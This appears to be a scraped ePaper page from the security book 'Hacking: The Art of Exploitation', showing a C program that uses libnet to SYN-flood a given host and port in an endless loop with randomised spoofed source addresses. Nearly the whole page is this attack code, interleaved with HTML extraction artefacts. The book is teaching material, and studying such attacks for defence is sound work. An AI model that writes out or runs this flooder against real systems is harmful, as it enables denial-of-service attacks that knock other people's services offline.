26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host<br />

dest_port = (u_short) atoi(argv[2]); // The port<br />

network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.<br />

if (network == -1)<br />

libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run<br />

as root.\n");<br />

libnet_init_packet(packet_size, &packet); // Allocate memory for packet.<br />

if (packet == NULL)<br />

libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");<br />

libnet_seed_prand(); // Seed <strong>the</strong> random number generator.<br />

printf("SYN Flooding port %d <strong>of</strong> %s..\n", dest_port, print_ip(&dest_ip));<br />

while(1) // loop forever (until break by CTRL-C)<br />

{<br />

libnet_build_ip(LIBNET_TCP_H, // Size <strong>of</strong> <strong>the</strong> packet sans IP header.<br />

IPTOS_LOWDELAY,<br />

// IP tos<br />

libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)<br />

0, // Frag stuff<br />

libnet_get_prand(LIBNET_PR8), // TTL (randomized)<br />

IPPROTO_TCP,<br />

// Transport protocol<br />

libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)<br />

dest_ip,<br />

// Destination IP<br />

NULL,<br />

// Payload (none)<br />

0, // Payload length<br />

packet);<br />

// Packet header memory<br />

libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)<br />

dest_port,<br />

// Destination TCP port<br />

libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)<br />

libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)<br />

TH_SYN,<br />

// Control flags (SYN flag set only)<br />

libnet_get_prand(LIBNET_PRu16), // Window size (randomized)<br />

0, // Urgent pointer<br />

NULL,<br />

// Payload (none)<br />

0, // Payload length<br />

packet + LIBNET_IP_H);<br />

// Packet header memory<br />

if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)<br />

libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");<br />

byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.<br />

if (byte_count < packet_size)<br />

libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d <strong>of</strong> %d<br />

bytes)", byte_count, packet_size);<br />

}<br />

usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.<br />

libnet_destroy_packet(&packet); // Free packet memory.<br />

if (libnet_close_raw_sock(network) == -1) // Close <strong>the</strong> network interface.<br />

Networking 253

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!